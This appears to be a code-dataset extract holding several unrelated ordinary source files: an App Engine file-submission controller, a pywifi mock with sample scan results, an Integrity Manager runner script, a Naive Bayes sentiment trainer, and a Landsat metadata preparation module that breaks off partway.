submissions.Submission.all().filter(\"tag =\",tag).filter(\"email =\",email).order('-uploadtime').run()\n\n template_vals = {\n 'fullname' : fullname,\n 'success' : goodmsg,\n 'fail': badmsg,\n 'logoutlink': user.LOGOUT_PATH,\n 'changepasslink': user.CHANGE_PASS_PATH,\n 'tag': tag,\n 'uploadurl' : upload_url,\n 'subs' : subs\n }\n template = JINJA_ENVIRONMENT.get_template('submission.html')\n self.response.headers['Content-Type'] = 'text/html'\n self.response.write(template.render(template_vals))\n else:\n self.response.write('Tag not found. If you followed a link, inform the administrator/instructor about this.')\n\nclass UploadHandler(blobstore_handlers.BlobstoreUploadHandler):\n def post(self,tag,email):\n upload_files = self.get_uploads('file') # 'file' is file upload field in the form\n if len(upload_files) == 1:\n blob_info = upload_files[0]\n link = '/serve/%s' % blob_info.key()\n # store this link in the DB\n submissions.Submission.new(tag, email, link)\n self.redirect(self.request.referer)\n\nclass ServeHandler(blobstore_handlers.BlobstoreDownloadHandler):\n def get(self, resource):\n blobkey = str(urllib.unquote(resource))\n blob_info = blobstore.BlobInfo.get(blobkey)\n if blob_info:\n self.redirect('/serve/ext/%s/%s' % (resource, blob_info.filename))\n else:\n self.response.write('An error has occurred. <a href=\"/\">Click here</a> to go the main page.')\n\nclass ServeFileNameHandler(blobstore_handlers.BlobstoreDownloadHandler):\n def get(self, blobkey, filename):\n blobkey = str(urllib.unquote(blobkey))\n blob_info = blobstore.BlobInfo.get(blobkey)\n if blob_info:\n self.send_blob(blob_info)\n else:\n self.response.write('An error has occurred. <a href=\"/\">Click here</a> to go the main page.')\n\nclass DeleteHandler(session.BaseSessionHandler):\n def post(self, subkey):\n u = user.login(self)\n if not u:\n return\n email, fullname = u\n\n sub = submissions.Submission.getByKeyString(subkey)\n if sub and sub.email == email:\n # delete the contents of this URL and delete this entity\n if sub.remove():\n self.session.add_flash('Removed submission.',key='success')\n\n self.redirect(self.request.referer)\n\n", "sub_path": "controllers/submission.py", "file_name": "submission.py", "file_ext": "py", "file_size_in_byte": 4749, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "jinja2.Environment", "line_number": 37, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "session.BaseSessionHandler", "line_number": 42, "usage_type": "attribute"}, {"api_name": "models.tags.Tag.all", "line_number": 44, "usage_type": "call"}, {"api_name": "models.tags.Tag", "line_number": 44, "usage_type": "attribute"}, {"api_name": "models.tags", "line_number": 44, "usage_type": "name"}, {"api_name": "controllers.user.login", "line_number": 45, "usage_type": "call"}, {"api_name": "controllers.user", "line_number": 45, "usage_type": "name"}, {"api_name": "google.appengine.ext.blobstore.create_upload_url", "line_number": 58, "usage_type": "call"}, {"api_name": "google.appengine.ext.blobstore", "line_number": 58, "usage_type": "name"}, {"api_name": "models.submissions.Submission.all", "line_number": 60, "usage_type": "call"}, {"api_name": "models.submissions.Submission", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.submissions", "line_number": 60, "usage_type": "name"}, {"api_name": "controllers.user.LOGOUT_PATH", "line_number": 66, "usage_type": "attribute"}, {"api_name": "controllers.user", "line_number": 66, "usage_type": "name"}, {"api_name": "controllers.user.CHANGE_PASS_PATH", "line_number": 67, "usage_type": "attribute"}, {"api_name": "controllers.user", "line_number": 67, "usage_type": "name"}, {"api_name": "google.appengine.ext.webapp.blobstore_handlers.BlobstoreUploadHandler", "line_number": 78, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.webapp.blobstore_handlers", "line_number": 78, "usage_type": "name"}, {"api_name": "models.submissions.Submission.new", "line_number": 85, "usage_type": "call"}, {"api_name": "models.submissions.Submission", "line_number": 85, "usage_type": "attribute"}, {"api_name": "models.submissions", "line_number": 85, "usage_type": "name"}, {"api_name": "google.appengine.ext.webapp.blobstore_handlers.BlobstoreDownloadHandler", "line_number": 88, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.webapp.blobstore_handlers", "line_number": 88, "usage_type": "name"}, {"api_name": "urllib.unquote", "line_number": 90, "usage_type": "call"}, {"api_name": "google.appengine.ext.blobstore.BlobInfo.get", "line_number": 91, "usage_type": "call"}, {"api_name": "google.appengine.ext.blobstore.BlobInfo", "line_number": 91, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.blobstore", "line_number": 91, "usage_type": "name"}, {"api_name": "google.appengine.ext.webapp.blobstore_handlers.BlobstoreDownloadHandler", "line_number": 97, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.webapp.blobstore_handlers", "line_number": 97, "usage_type": "name"}, {"api_name": "urllib.unquote", "line_number": 99, "usage_type": "call"}, {"api_name": "google.appengine.ext.blobstore.BlobInfo.get", "line_number": 100, "usage_type": "call"}, {"api_name": "google.appengine.ext.blobstore.BlobInfo", "line_number": 100, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.blobstore", "line_number": 100, "usage_type": "name"}, {"api_name": "session.BaseSessionHandler", "line_number": 106, "usage_type": "attribute"}, {"api_name": "controllers.user.login", "line_number": 108, "usage_type": "call"}, {"api_name": "controllers.user", "line_number": 108, "usage_type": "name"}, {"api_name": "models.submissions.Submission.getByKeyString", "line_number": 113, "usage_type": "call"}, {"api_name": "models.submissions.Submission", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.submissions", "line_number": 113, "usage_type": "name"}]} {"seq_id": "146700960", "text": "from enum import Enum\nfrom typing import List\n\n\nclass PyWiFiConstant(Enum):\n IFACE_DISCONNECTED = 0\n IFACE_SCANNING = 1\n IFACE_INACTIVE = 2\n IFACE_CONNECTING = 3\n IFACE_CONNECTED = 4\n\n # Define auth algorithms.\n AUTH_ALG_OPEN = 0\n AUTH_ALG_SHARED = 1\n\n # Define auth key mgmt types.\n AKM_TYPE_NONE = 0\n AKM_TYPE_WPA = 1\n AKM_TYPE_WPAPSK = 2\n AKM_TYPE_WPA2 = 3\n AKM_TYPE_WPA2PSK = 4\n AKM_TYPE_UNKNOWN = 5\n\n # Define ciphers.\n CIPHER_TYPE_NONE = 0\n CIPHER_TYPE_WEP = 1\n CIPHER_TYPE_TKIP = 2\n CIPHER_TYPE_CCMP = 3\n CIPHER_TYPE_UNKNOWN = 4\n\n KEY_TYPE_NETWORKKEY = 0\n KEY_TYPE_PASSPHRASE = 1\n\n\nclass PyWiFiUtil:\n def _send_cmd_to_wpas(self, iface, cmd, get_reply=False):\n pass\n\n\nclass PyWiFiProfile:\n def __init__(self, profile):\n self.id = profile[\"id\"]\n self.auth = profile[\"auth\"]\n self.akm = profile[\"akm\"]\n self.cipher = profile[\"cipher\"]\n self.ssid = profile[\"ssid\"]\n self.bssid = profile[\"bssid\"]\n self.key = profile[\"key\"]\n self.freq = profile[\"freq\"]\n self.signal = profile[\"signal\"]\n\n\nclass PyWiFiInterfaceMock:\n state = PyWiFiConstant.IFACE_INACTIVE\n results: List[PyWiFiProfile] = []\n profiles: List[PyWiFiProfile] = []\n\n def __init__(self):\n self._wifi_ctrl = PyWiFiUtil()\n\n def name(self):\n return \"wlan0\"\n\n def disconnect(self):\n self.state = PyWiFiConstant.IFACE_DISCONNECTED\n\n def status(self):\n return self.state.value\n\n def connect(self, profile):\n self.state = PyWiFiConstant.IFACE_CONNECTED\n\n def scan(self):\n self.state = PyWiFiConstant.IFACE_SCANNING\n\n self.profiles = [\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"Depto 606-5G\",\n \"bssid\": \"e0:cc:7a:fd:84:50\",\n \"key\": None,\n \"freq\": 5220,\n \"signal\": -70,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"Depto 606\",\n \"bssid\": \"e0:cc:7a:fd:84:4c\",\n \"key\": None,\n \"freq\": 2447,\n \"signal\": -52,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"VTR-5737196\",\n \"bssid\": \"c0:05:c2:68:46:69\",\n \"key\": None,\n \"freq\": 2437,\n \"signal\": -57,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"VTR-5737196\",\n \"bssid\": \"c0:05:c2:68:46:6f\",\n \"key\": None,\n \"freq\": 5805,\n \"signal\": -81,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"VTR-2049450\",\n \"bssid\": \"e4:57:40:99:ee:15\",\n \"key\": None,\n \"freq\": 5765,\n \"signal\": -83,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"VTR-7138797 - 5G\",\n \"bssid\": \"e4:57:40:35:da:0b\",\n \"key\": None,\n \"freq\": 5745,\n \"signal\": -86,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"VTR-3847319\",\n \"bssid\": \"40:0d:10:eb:e4:77\",\n \"key\": None,\n \"freq\": 5180,\n \"signal\": -90,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"Paraya_5G\",\n \"bssid\": \"e4:57:40:92:22:15\",\n \"key\": None,\n \"freq\": 5240,\n \"signal\": -90,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [2, 4],\n \"cipher\": 0,\n \"ssid\": \"Martina -1-5G\",\n \"bssid\": \"18:35:d1:20:98:5f\",\n \"key\": None,\n \"freq\": 5200,\n \"signal\": -92,\n },\n {\n \"id\": 0,\n \"auth\": 0,\n \"akm\": [],\n \"cipher\": 0,\n \"ssid\": \"Free internet!\",\n \"bssid\": \"58:55:31:10:48:3a\",\n \"key\": None,\n \"freq\": 5200,\n \"signal\": -92,\n },\n ]\n\n self.results = [PyWiFiProfile(profile) for profile in self.profiles]\n\n self.state = PyWiFiConstant.IFACE_INACTIVE\n\n def scan_results(self):\n return self.results\n\n def remove_all_network_profiles(self):\n self.state = PyWiFiConstant.IFACE_INACTIVE\n self.profiles = []\n\n def bssid_connected(self):\n return \"\"\n\n def add_network_profile(self, profile):\n self.profiles.append(profile)\n\n def network_profiles(self):\n return self.profiles\n\n\nclass PyWiFiInstanceMock:\n def interfaces(self):\n return [PyWiFiInterfaceMock()]\n\n\nclass PyWiFiMock:\n const = PyWiFiConstant\n\n def PyWiFi(self):\n return PyWiFiInstanceMock()\n", "sub_path": "pt_os_web_portal/backend/helpers/mocks/pywifi_mock.py", "file_name": "pywifi_mock.py", "file_ext": "py", "file_size_in_byte": 5586, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "enum.Enum", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 55, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 56, "usage_type": "name"}]} {"seq_id": "477934624", "text": "import globalenv,os,logging,datetime,time\nfrom cfgwiz import CfgWiz\nfrom cnnctwiz import *\nimport checkfile\n\nclass IM:\n\tdef __init__(self,admin,adminPwd,DSNname,DSNuser,DSNpwd,DSNtype):\n\t\tself.IMPath = globalenv.__GLOBALENV__['IM']\n\t\tself.optdir = globalenv.__GLOBALENV__['ScriptsPath']\n\t\tself.logger = globalenv.__GLOBALENV__['logger']\n\t\tself.EMPath = globalenv.__GLOBALENV__['EMPath']\n\t\tself.DSNName = DSNname\n\t\tself.DSNUser = DSNuser\n\t\tself.DSNPwd = DSNpwd\n\t\tself.DSNType = DSNtype\n\t\tself.admin = admin\n\t\tself.adminPwd = adminPwd\n\n\tdef RunIM(self):\n\t\tcfg = CfgWiz()\n\t\tcfg.ExecEMProject(self.admin,self.adminPwd,self.DSNName,self.DSNUser,self.DSNPwd)\n\t\tcmdline = ('\"' + self.IMPath + 'MIntMgr.EXE' + '\"' + ' -f' + ' \"' + \n\t\t\t\tself.optdir + 'EMProject.mtc' + '\"')\n\t\tprint(cmdline)\n\t\tself.logger.info('Execute the following command :' + cmdline)\n\t\tprocess = os.popen(cmdline)\n\t\tresult = process.read()\n\t\tRES=os.system('echo %ERRORLEVEL%')\n\t\tif RES == '0' or '1':\n\t\t\tself.logger.info('EMProject run successfully')\n\t\telse:\n\t\t\tself.logger.info('EMProject run failed')\n\t\t\n\t\tCdatetime = datetime.datetime.fromtimestamp(time.time()).strftime('%Y_%m_%d_%H_%M_%S')\n\t\tIMLogName = self.EMPath + 'Config.log'\n\t\tIMLogName2 = self.EMPath + 'Config_' + self.DSNType + '_' + Cdatetime + '.log'\n\n\t\tos.rename(IMLogName,IMLogName2)\n\n\t\t\n\n\t\tcheck = checkfile.checkfile(IMLogName2)\n\t\treturn check \t\t\t\t\n\n\t\t\t\n'''\n\tdef EMProject(self,admin,adminPwd,DSNName,DSNUser,DSNPwd,DSNType):\n\t\tcfg = CfgWiz()\n\t\tcfg.ExecEMProject(admin,adminPwd,DSNName,DSNUser,DSNPwd)\n\t\tself.RunIM(DSNType)\n'''\n\nif __name__ == '__main__':\n\tfilename=os.getcwd()+'/EMProject.log'\n\tlogger = globalenv.__GLOBALENV__['logger']\n\tfh = logging.FileHandler(filename)\n\tlogger.setLevel(logging.DEBUG)\n\tformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\tfh.setFormatter(formatter)\n\tlogger.addHandler(fh)\n\tDSN=MSSQL('TEST','ts-sql-2014','TEST941SQL','TEST941SQL','TEST941SQL')\n\tDSNGiver = CnnctWiz()\n\tDSNGiver.InitDSN(DSN)\n\tim = IM('administrator','',DSN.Name,DSN.User,DSN.Pwd,DSN.Type)\n\tim.RunIM()\n\t", "sub_path": "Integrity_Manager.py", "file_name": "Integrity_Manager.py", "file_ext": "py", "file_size_in_byte": 2073, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "globalenv.__GLOBALENV__", "line_number": 8, "usage_type": "attribute"}, {"api_name": "globalenv.__GLOBALENV__", "line_number": 9, "usage_type": "attribute"}, {"api_name": "globalenv.__GLOBALENV__", "line_number": 10, "usage_type": "attribute"}, {"api_name": "globalenv.__GLOBALENV__", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cfgwiz.CfgWiz", "line_number": 20, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 26, "usage_type": "call"}, {"api_name": "os.system", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 38, "usage_type": "call"}, {"api_name": "checkfile.checkfile", "line_number": 42, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 54, "usage_type": "call"}, {"api_name": "globalenv.__GLOBALENV__", "line_number": 55, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 56, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 57, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 58, "usage_type": "call"}]} {"seq_id": "373096453", "text": "import json\nimport sys\nimport glob\n\nnegativeFileList = []\npositiveFileList = []\nnegativeFrequencyDict = {}\npositiveFrequencyDict = {}\n\ntotalFrequencyDict = {}\n\nnegativeProbabilityDict = {}\npositiveProbabilityDict = {}\n\nnegWordCount = 0\nposWordCount = 0\n\n\"\"\"\nSet the Dictionary back to empty\n\"\"\"\n\n\ndef reinitializeDict():\n global totalFrequencyDict\n totalFrequencyDict.clear()\n\n\n\"\"\"\nExtract all the files from the directory\n\"\"\"\n\n\ndef extractFileInformation(files):\n fileData = []\n for file in files:\n data = open(file, 'r')\n fileData.append(data.read())\n\n return fileData\n\n\n\"\"\"\nReturns a Dictionary that consists the frequency of words\n\"\"\"\n\n\ndef getFrequencyDict(files):\n dataDict = {}\n\n for f in files:\n data = f.split()\n\n for d in data:\n dataDict[d] = dataDict.get(d, 0) + 1\n\n return dataDict\n\n\n\"\"\"\nCalculates the total frequency and adds it to a dictionarys\n\"\"\"\n\n\ndef addToTotalFrequency(negativeDict, positiveDict):\n wordDict = negativeDict.copy()\n\n for key in positiveDict.keys():\n wordDict[key] = wordDict.get(key, 0) + positiveDict[key]\n\n return wordDict\n\n\n\"\"\"\nUpdates the negative and positive dictionary to make sure both consist the same amount of words\n\"\"\"\n\n\ndef updateNegativeAndPositiveDictionary():\n global totalFrequencyDict, positiveFrequencyDict, negativeFrequencyDict\n for key in totalFrequencyDict.keys():\n positiveFrequencyDict[key] = positiveFrequencyDict.get(key, 0)\n negativeFrequencyDict[key] = negativeFrequencyDict.get(key, 0)\n\n\n\"\"\"\nFilters the words and increase the Negative Count\n\"\"\"\n\n\ndef filterWordsNegativeDictBelow5():\n global negativeFrequencyDict, totalFrequencyDict, negWordCount\n\n dictCopy = negativeFrequencyDict.copy()\n\n for key in dictCopy.keys():\n if totalFrequencyDict[key] < 5:\n negativeFrequencyDict.pop(key)\n else:\n negWordCount += negativeFrequencyDict[key]\n\n\n\"\"\"\nFilters the words and increase the Positive Count\n\"\"\"\n\n\ndef filterWordsPositiveDictBelow5():\n global positiveFrequencyDict, totalFrequencyDict, posWordCount\n\n dictCopy = positiveFrequencyDict.copy()\n\n for key in dictCopy.keys():\n if totalFrequencyDict[key] < 5:\n positiveFrequencyDict.pop(key)\n else:\n posWordCount += positiveFrequencyDict[key]\n\n\n\"\"\"\nThis method is used to apply the Laplace Smoothing\n\"\"\"\n\n\ndef calcuateProbabilitiesByAddingSmoothing():\n global negWordCount, posWordCount, negativeFrequencyDict, positiveFrequencyDict, totalFrequencyDict\n total = totalFrequencyDict.__len__()\n\n for key in negativeFrequencyDict.keys():\n negativeProbabilityDict[key] = (negativeFrequencyDict[key] + 1) / (negWordCount + total)\n\n for key in positiveFrequencyDict.keys():\n positiveProbabilityDict[key] = (positiveFrequencyDict[key] + 1) / (posWordCount + total)\n\n\n\"\"\"\nThis Method is used to extract information by breaking dow information from the individual files\n\"\"\"\n\n\ndef extractInformation(filesDirectory, outputPath):\n global negativeFileList, positiveFileList, positiveFrequencyDict, negativeFrequencyDict, totalFrequencyDict, \\\n negativeProbabilityDict, positiveProbabilityDict\n\n positiveFiles = glob.glob(filesDirectory + '/pos/*.txt')\n negativeFiles = glob.glob(filesDirectory + '/neg/*.txt')\n\n negativeFileList = extractFileInformation(negativeFiles)\n positiveFileList = extractFileInformation(positiveFiles)\n\n negativeFrequencyDict = getFrequencyDict(negativeFileList)\n positiveFrequencyDict = getFrequencyDict(positiveFileList)\n\n totalFrequencyDict = addToTotalFrequency(negativeFrequencyDict, positiveFrequencyDict)\n\n # Update the Dictionary according to the Total Frequency\n updateNegativeAndPositiveDictionary()\n\n filterWordsNegativeDictBelow5()\n filterWordsPositiveDictBelow5()\n\n reinitializeDict()\n\n totalFrequencyDict = addToTotalFrequency(negativeFrequencyDict, positiveFrequencyDict)\n\n calcuateProbabilitiesByAddingSmoothing()\n\n mainProbData = [negativeProbabilityDict, positiveProbabilityDict]\n model_file = open(outputPath, \"w\")\n json.dump(mainProbData, model_file)\n\n\n\"\"\"\nThis is the main driver program\n\"\"\"\n\n\ndef main():\n filesDirectoy = sys.argv[1]\n outputPath = sys.argv[2]\n\n extractInformation(filesDirectoy, outputPath)\n\n\nmain()\n", "sub_path": "NaiveBayesClassifier/NaiveBayesClassifier/nbTrain.py", "file_name": "nbTrain.py", "file_ext": "py", "file_size_in_byte": 4347, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "glob.glob", "line_number": 144, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 145, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 169, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 178, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 179, "usage_type": "attribute"}]} {"seq_id": "383262444", "text": "\"\"\"\nPrepare eo3 metadata for USGS Landsat Level 1 data.\n\nInput dataset paths can be directories or tar files.\n\"\"\"\n\nimport logging\nimport os\nimport re\nimport tarfile\nimport uuid\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import Callable, Dict, Generator, Iterable, List, Optional, Tuple, Union\n\nimport click\nimport rasterio\n\nfrom eodatasets3 import DatasetPrepare, serialise, utils\nfrom eodatasets3.properties import FileFormat\nfrom eodatasets3.ui import PathPath\n\n_COPYABLE_MTL_FIELDS = {}\n_COPYABLE_MTL_FIELDS[\"C1\"] = [\n (\n \"metadata_file_info\",\n (\n \"landsat_scene_id\",\n \"landsat_product_id\",\n \"station_id\",\n \"processing_software_version\",\n ),\n ),\n (\n \"product_metadata\",\n (\"data_type\", \"ephemeris_type\", \"wrs_path\", \"wrs_row\", \"collection_category\"),\n ),\n (\n \"image_attributes\",\n (\n \"ground_control_points_version\",\n \"ground_control_points_model\",\n \"geometric_rmse_model_x\",\n \"geometric_rmse_model_y\",\n \"ground_control_points_verify\",\n \"geometric_rmse_verify\",\n ),\n ),\n (\"projection_parameters\", (\"scan_gap_interpolation\",)),\n]\n_COPYABLE_MTL_FIELDS[\"C2\"] = [\n (\n \"level2_processing_record\",\n (\n \"landsat_scene_id\",\n \"landsat_product_id\",\n \"processing_software_version\",\n \"algorithm_source_surface_reflectance\",\n \"collection_category\",\n \"ground_control_points_version\",\n \"ground_control_points_model\",\n \"geometric_rmse_model_x\",\n \"geometric_rmse_model_y\",\n ),\n ),\n (\n \"level1_processing_record\",\n (\n \"landsat_scene_id\",\n \"landsat_product_id\",\n \"processing_software_version\",\n \"collection_category\",\n \"ground_control_points_version\",\n \"ground_control_points_model\",\n \"geometric_rmse_model_x\",\n \"geometric_rmse_model_y\",\n ),\n ),\n (\n \"image_attributes\",\n (\n \"station_id\",\n \"wrs_path\",\n \"wrs_row\",\n # \"ground_control_points_verify\", # not in the test data for C1 or C2\n # \"geometric_rmse_verify\", # not in the test data for C1 or C2\n ),\n ),\n # not in the test data for C1 or C2\n # (\"level1_projection_parameters\", (\"scan_gap_interpolation\",)),\n]\n\n# Static namespace to generate uuids for datacube indexing\nUSGS_UUID_NAMESPACE = uuid.UUID(\"276af61d-99f8-4aa3-b2fb-d7df68c5e28f\")\n\nLANDSAT_OLI_TIRS_BAND_ALIASES = {\n \"1\": \"coastal_aerosol\",\n \"2\": \"blue\",\n \"3\": \"green\",\n \"4\": \"red\",\n \"5\": \"nir\",\n \"6\": \"swir_1\",\n \"7\": \"swir_2\",\n \"8\": \"panchromatic\",\n \"9\": \"cirrus\",\n \"st_b10\": \"lwir\", # USGS only\n \"10\": \"lwir_1\",\n \"11\": \"lwir_2\",\n \"quality\": \"quality\",\n \"qa_aerosol\": \"qa_aerosol\",\n}\n\nLANDSAT_xTM_BAND_ALIASES = {\n \"1\": \"blue\",\n \"2\": \"green\",\n \"3\": \"red\",\n \"4\": \"nir\",\n \"5\": \"swir_1\",\n \"6\": \"tir\",\n \"6_vcid_1\": \"tir_1\",\n \"6_vcid_2\": \"tir_2\",\n \"st_b6\": \"lwir\", # USGS only\n \"7\": \"swir_2\",\n \"8\": \"panchromatic\",\n \"quality\": \"quality\",\n \"cloud_qa\": \"qa_cloud\",\n \"atmos_opacity\": \"atmos_opacity\",\n}\n\nMTL_PAIRS_RE = re.compile(r\"(\\w+)\\s=\\s(.*)\")\n\nLANDSAT_MTL_MAP = {\n \"C1\": {\n \"product_contents_cn\": \"metadata_file_info\",\n \"product_contents_of\": \"product_metadata\",\n \"product_contents_fn\": \"product_metadata\",\n \"image_attributes\": \"product_metadata\",\n \"level1_processing_record\": \"metadata_file_info\",\n \"level1_projection_parameters\": \"projection_parameters\",\n },\n \"C2\": {\n \"product_contents_cn\": \"product_contents\",\n \"product_contents_of\": [\n \"level2_processing_record\",\n \"level1_processing_record\",\n ],\n \"product_contents_fn\": \"product_contents\",\n \"image_attributes\": \"image_attributes\",\n \"leveln_processing_record\": [\n \"level2_processing_record\",\n \"level1_processing_record\",\n ],\n \"leveln_projection_parameters\": [\n \"projection_attributes\",\n \"level2_projection_parameters\",\n \"level1_projection_parameters\",\n ],\n },\n}\n\n\ndef get_band_alias_mappings(sat: str, instrument: str) -> Dict[str, str]:\n \"\"\"\n To load the band_names for referencing either LANDSAT8 or LANDSAT7 or LANDSAT5 bands\n Landsat7 and Landsat5 have same band names\n\n >>> get_band_alias_mappings('landsat-8', 'OLI_TIRS') == LANDSAT_OLI_TIRS_BAND_ALIASES\n True\n >>> get_band_alias_mappings('landsat-8', 'OLI') == LANDSAT_OLI_TIRS_BAND_ALIASES\n True\n >>> get_band_alias_mappings('landsat-5', 'TM') == LANDSAT_xTM_BAND_ALIASES\n True\n >>> get_band_alias_mappings('landsat-5', 'TM') == LANDSAT_xTM_BAND_ALIASES\n True\n >>> get_band_alias_mappings('aqua', 'MODIS') == LANDSAT_xTM_BAND_ALIASES\n Traceback (most recent call last):\n ...\n NotImplementedError: Unexpected satellite. Only landsat handled currently. Got 'aqua'\n >>> get_band_alias_mappings('landsat-5', 'MSS') == LANDSAT_xTM_BAND_ALIASES\n Traceback (most recent call last):\n ...\n NotImplementedError: Landsat version not yet supported: 'landsat-5', 'MSS'\n \"\"\"\n\n if not sat.startswith(\"landsat-\"):\n raise NotImplementedError(\n f\"Unexpected satellite. Only landsat handled currently. Got {sat!r}\"\n )\n landsat_number = int(sat.split(\"-\")[1])\n\n if landsat_number == 8:\n return LANDSAT_OLI_TIRS_BAND_ALIASES\n if landsat_number in (4, 5, 7) and instrument.endswith(\"TM\"):\n return LANDSAT_xTM_BAND_ALIASES\n\n raise NotImplementedError(\n f\"Landsat version not yet supported: {sat!r}, {instrument!r}\"\n )\n\n\ndef get_mtl_content(acquisition_path: Path, root_element=None) -> Tuple[Dict, str, str]:\n \"\"\"\n Find MTL file for the given path. It could be a directory or a tar file.\n\n It will return the MTL parsed as a dict and its filename.\n \"\"\"\n\n def iter_tar_members(tp: tarfile.TarFile) -> Generator[tarfile.TarInfo, None, None]:\n \"\"\"\n This is a lazy alternative to TarInfo.getmembers() that only reads one tar item at a time.\n\n We're reading the MTL file, which is almost always the first entry in the tar, and then\n closing it, so we're avoiding skipping through the entirety of the tar.\n \"\"\"\n member = tp.next()\n while member is not None:\n yield member\n member = tp.next()\n\n if not acquisition_path.exists():\n raise RuntimeError(f\"Missing path '{acquisition_path}'\")\n\n if acquisition_path.is_file() and tarfile.is_tarfile(str(acquisition_path)):\n with tarfile.open(str(acquisition_path), \"r\") as tp:\n for member in iter_tar_members(tp):\n if \"_MTL.txt\" in member.name:\n with tp.extractfile(member) as fp:\n mtl_doc, file_root_element = read_mtl(fp)\n return mtl_doc, file_root_element, member.name\n else:\n raise RuntimeError(f\"MTL file not found in {str(acquisition_path)}\")\n\n else:\n paths = list(acquisition_path.rglob(\"*_MTL.txt\"))\n if not paths:\n raise RuntimeError(\"No MTL file\")\n if len(paths) > 1:\n raise RuntimeError(\n f\"Multiple MTL files found in given acq path {acquisition_path}\"\n )\n [path] = paths\n with path.open(\"r\") as fp:\n mtl_doc, file_root_element = read_mtl(fp, root_element)\n return mtl_doc, file_root_element, path.name\n\n\ndef read_mtl(fp: Iterable[Union[str, bytes]], root_element=None) -> Tuple[Dict, str]:\n def _parse_value(s: str) -> Union[int, float, str]:\n \"\"\"\n >>> _parse_value(\"asdf\")\n 'asdf'\n >>> _parse_value(\"123\")\n 123\n >>> _parse_value(\"3.14\")\n 3.14\n \"\"\"\n s = s.strip('\"')\n for parser in [int, float]:\n try:\n return parser(s)\n except ValueError:\n pass\n return s\n\n def _parse_group(\n lines: Iterable[Union[str, bytes]],\n key_transform: Callable[[str], str] = lambda s: s.lower(),\n ) -> dict:\n\n tree = {}\n for line in lines:\n # If line is bytes-like convert to str\n if isinstance(line, bytes):\n line = line.decode(\"utf-8\")\n match = MTL_PAIRS_RE.findall(line)\n if match:\n key, value = match[0]\n if key == \"GROUP\":\n tree[key_transform(value)] = _parse_group(lines)\n elif key == \"END_GROUP\":\n break\n else:\n tree[key_transform(key)] = _parse_value(value)\n return tree\n\n tree = _parse_group(fp)\n if root_element is None:\n root_element = list(tree.keys())[0]\n return tree[root_element], root_element\n\n\ndef _iter_bands_paths(product_doc: Dict) -> Generator[Tuple[str, str], None, None]:\n prefix = \"file_name_band_\"\n for name, filepath in product_doc.items():\n if not name.startswith(prefix):\n continue\n usgs_band_id = name[len(prefix) :]\n yield usgs_band_id, filepath\n\n\ndef prepare_and_write(\n ds_path: Path,\n output_yaml_path: Path,\n source_telemetry: Path = None,\n # TODO: Can we infer producer automatically? This is bound to cause mistakes othewise\n producer=\"usgs.gov\",\n embed_location: bool = False,\n) -> Tuple[uuid.UUID, Path]:\n \"\"\"\n Prepare an eo3 metadata file for a Level1 dataset.\n\n Input dataset path can be a folder or a tar file.\n \"\"\"\n mtl_doc, root_element, mtl_filename = get_mtl_content(ds_path)\n if not mtl_doc:\n raise ValueError(f\"No MTL file found for {ds_path}\")\n collection_key = \"C2\" if root_element == \"landsat_metadata_file\" else \"C1\"\n leveln_key_prefix = \"leveln\" if collection_key == \"C2\" else \"level1\"\n coll_map = LANDSAT_MTL_MAP[collection_key]\n usgs_collection_number = mtl_doc[coll_map[\"product_contents_cn\"]].get(\n \"collection_number\"\n )\n if usgs_collection_number is None:\n raise NotImplementedError(\n \"Dataset has no collection number: pre-collection data is not 